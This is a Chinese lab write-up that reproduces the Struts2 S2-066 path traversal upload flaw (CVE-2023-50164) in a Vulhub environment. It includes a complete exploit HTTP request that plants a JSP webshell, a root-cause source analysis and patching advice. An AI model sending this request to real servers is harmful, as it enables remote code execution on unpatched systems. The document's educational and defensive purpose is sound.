首页
/ Apache Struts2 S2-066 文件上传路径穿越漏洞(CVE-2023-50164)复现与分析

Apache Struts2 S2-066 文件上传路径穿越漏洞(CVE-2023-50164)复现与分析

2026-09-14 23:02:11作者:薛曦旖Francesca

本文以 Vulhub 仓库中的 struts2/s2-066 环境为对象,系统讲解 Apache Struts2 2.5.32 中由文件上传表单字段名大小写差异引发的路径穿越漏洞(CVE-2023-50164):从漏洞成因、环境搭建、完整抓包复现到源码级原理剖析,帮助读者理解"首字母大写字段绕过 basename 保护"的攻击手法,并掌握在真实 Java Web 应用中识别与防御此类上传缺陷的能力。

漏洞背景与成因

Apache Struts2 是一个基于 Java EE Servlet API 的流行 MVC Web 应用框架,通过丰富的标签与工具帮助开发者构建易维护、易扩展的企业级 Web 应用。它的文件上传功能在正常流程中会调用 FileUploadInterceptor 对上传文件名做处理,框架默认只保留文件的 basename(基本名称),从而阻止 ../ 之类的路径穿越字符。

S2-066(CVE-2023-50164)正是存在于这个上传处理逻辑中的路径穿越漏洞:攻击者通过操纵表单字段名称的大小写,让"未经 basename 处理的原文件名"覆盖掉框架的防护结果,最终把文件写到上传目录之外。触发漏洞需要满足两个条件:

  1. 表单字段名使用首字母大写(例如 Upload 而不是 upload);
  2. 另外提供一个携带路径穿越文件名的独立表单字段(例如 fileFileName 字段值为 ../shell.jsp)。

这使得 Struts2 内部在处理时绕过了文件名清洗逻辑,将用户可控的原始文件名直接用于目标路径拼接,最终导致成功的路径穿越写入。

环境搭建

Vulhub 为本次复现提供了开箱即用的 Docker Compose 环境,目录结构如下:

在仓库根目录执行以下命令即可启动环境:

docker compose up -d

环境的容器编排配置如下(来自 docker-compose.yml):

services:
 struts2:
   image: vulhub/struts2:s2-066
   ports:
    - "8080:8080"
    - "5005:5005"

其中 8080 映射 Web 服务端口,5005 映射 JDWP 远程调试端口(便于学习时动态调试漏洞触发点)。环境启动后,访问 http://your-ip:8080 即可看到应用页面,这是一个简单的文件上传页面,页面内的上传请求会提交到 index.action 进行处理(index.jspresponse.sendRedirect("index.action") 会自动跳转到该 Action)。

Dockerfile 可以看到镜像的构建方式:使用 Maven 构建 WAR 包后部署到 Tomcat 9,且开启了 suspend=n 的 JDWP 调试代理;pom.xml 声明了 struts2-core 2.5.32(存在漏洞的版本)与 commons-fileupload 1.3.3 依赖。

漏洞复现

第一步:普通上传验证基线

首先,尝试把一段 JSP 脚本上传到正常的上传目录,验证应用的上传功能与执行环境。

普通上传请求,文件被保存到 /upload/shell.jsp

从抓包结果看,请求为 POST /index.actionmultipart/form-data 中包含文件字段 shell.jsp,响应中显示文件已成功上传到 /upload/shell.jsp,页面给出 "Download File" 下载链接。

尽管上传成功,但由于服务器配置,JSP 代码无法在上传目录 upload/ 中被解析执行。访问 http://your-ip:8080/upload/shell.jsp 时,响应直接以文本形式回显了 JSP 源码,并标注 "upload successful but unable to execute because of server configuration":

访问 /upload/shell.jsp,JSP 未被解析执行

这个"上传成功但不可执行"的基线很关键:它说明仅仅把 shell.jsp 上传到 upload/ 目录无法形成代码执行,攻击者必须把文件写到可以执行 JSP 的位置(如 Web 应用根目录),这正需要借助 S2-066 的路径穿越能力。

之所以 upload/ 目录不执行 JSP,从 web.xml 可以看到原因:该文件为 /upload/* 显式配置了 default servlet 的映射(<servlet-mapping><servlet-name>default</servlet-name><url-pattern>/upload/*</url-pattern></servlet-mapping>),使该目录下的内容由默认静态处理器接管,而 JSP 解析器不会对其生效。

第二步:构造路径穿越上传请求

利用 S2-066 漏洞,使用下面的原始 HTTP 请求把文件上传到上传目录之外:

POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF
Content-Length: 331

------WebKitFormBoundaryl6ZFZPznNSPZOFJF
Content-Disposition: form-data; name="File"; filename="shell.jsp"
Content-Type: text/plain

<%
  out.println("hello world");
%>
------WebKitFormBoundaryl6ZFZPznNSPZOFJF
Content-Disposition: form-data; name="fileFileName"

../shell.jsp
------WebKitFormBoundaryl6ZFZPznNSPZOFJF--

注意利用过程中的两个关键要素:

  • 文件字段的名称使用首字母大写name="File",而不是常规的 file)——这是触发 Struts2 上传拦截器大小写处理缺陷的关键;
  • 单独提供一个 fileFileName 字段,其值为路径穿越 payload:../shell.jsp——该字段用于覆盖框架清洗后的文件名,使目标路径变成 upload/../shell.jsp,等价于 Web 应用根目录下的 shell.jsp

第三步:验证上传结果与 Webshell 执行

利用上述请求后,抓包响应显示文件被成功写出:

路径穿越上传成功,字段大小写被修改后触发路径穿越

随后直接访问 http://your-ip:8080/shell.jsp,JSP 脚本被服务器正常解析执行,响应中回显了 hello world,标注 "upload successful and executable",说明已成功获得代码执行能力:

访问 /shell.jsp,JSP 被解析执行并输出 hello world

至此,攻击者通过路径穿越把 JSP webshell 写入了可执行目录,形成了完整的远程代码执行链。实战中可把 out.println("hello world") 替换为反弹 shell、文件读写等任意 JSP 代码。

源码级原理剖析

要理解漏洞为何存在,需要结合本次复现环境的业务代码来看。Vulhub 的示例 Action IndexAction.java 展示了典型的 Struts2 文件上传写法:

public class IndexAction extends ActionSupport {
    private File file;
    private String fileContentType;
    private String fileFileName;
    // ...

    public String execute() throws Exception {
        if (file != null) {
            String base = ServletActionContext.getServletContext().getRealPath("/") + "upload";
            File dir = new File(base);
            if (!dir.exists()) {
                dir.mkdirs();
            }
            String fileName = getFileFileName();
            File destFile = new File(dir, fileName);      // 目标路径 = upload 目录 + 文件名
            FileUtils.copyFile(getFile(), destFile);
            uploadedFilePath = "upload/" + fileName;
            uploadedFileName = getFileFileName();
            return SUCCESS;
        }
        return INPUT;
    }
}

可以看到,业务代码将"上传目录"与"文件名"直接拼接为目标路径(new File(dir, fileName)),并调用 FileUtils.copyFile 落盘。这里存在两层防护缺位:

  1. 业务层未对 getFileFileName() 做任何清洗../ 会被原样拼入路径;
  2. 框架层(Struts2 的 FileUploadInterceptor)本应把文件名清洗为 basename,这正是正常情况下 ../shell.jsp 无法生效的原因。

S2-066 的问题就出在第二层:Struts2 的 FileUploadInterceptor 在处理 multipart 请求时,会尝试从请求参数中获取 fileFileName 等"派生字段"来覆盖上传文件名。当文件字段名写作首字母大写的 File 时,Struts2 在根据约定(字段名 + FileName 后缀)匹配派生字段时产生逻辑混乱,导致未经 basename 清洗的原始文件名(来自 fileFileName 参数的 ../shell.jsp)被优先采用,从而覆盖掉框架的安全清洗结果。从本环境的 pom.xml 可以看到,复现所依赖的是存在缺陷的 struts2-core 2.5.32 与 commons-fileupload 1.3.3 组合。

最终拼接出的物理路径为 {webapp}/upload/../shell.jsp,即 {webapp}/shell.jsp,落入 Tomcat 的 JSP 解析范围,从而绕过"upload 目录不可执行"的限制(见 web.xml/upload/* 的 default servlet 映射),实现 webshell 落地。

修复建议与防御要点

Apache 官方已针对 S2-066 发布修复版本,以下措施可以有效止血与加固:

  1. 升级组件:将 struts2-core 升级到官方修复版本(2.5.33 及以上或 6.x 系列修复版本),从源头消除 FileUploadInterceptor 的文件名覆盖缺陷;
  2. 服务端文件名白名单:业务代码不要信任任何客户端传来的文件名,保存时统一使用服务端生成的随机文件名(如 UUID),扩展名做严格白名单校验,仅允许 .jpg.png 等静态资源类型;
  3. 禁止直接拼接用户输入到文件路径:保存目录固定,使用 Path.normalize() 等规范化手段,并校验规范化后的路径必须仍位于允许的根目录之内,拒绝任何 .. 段;
  4. 隔离可执行目录:上传目录与 Web 应用可执行目录(JSP/Class 所在位置)物理隔离,并通过类似本环境 web.xml/upload/* 静态映射的做法明确禁止上传目录内的动态脚本解析;
  5. 部署 WAF 规则:对 multipart 表单中"字段名大小写变体 + FileName 派生字段含 ../"的请求特征进行拦截。

小结

S2-066 是一类典型的"框架安全清洗被业务逻辑覆盖"型漏洞,攻击面是几乎所有 Struts2 文件上传接口,危害可达远程代码执行。通过 Vulhub 的 struts2/s2-066 环境,读者可以快速复现"普通上传不可执行 → 大小写字段绕过 → 路径穿越落盘 → JSP webshell 执行"的完整链路,并结合 IndexAction.javapom.xmlweb.xml 等源码加深对漏洞根因的理解,为日常的代码审计与安全加固提供直接参考。

登录后查看全文
热门项目推荐
相关项目推荐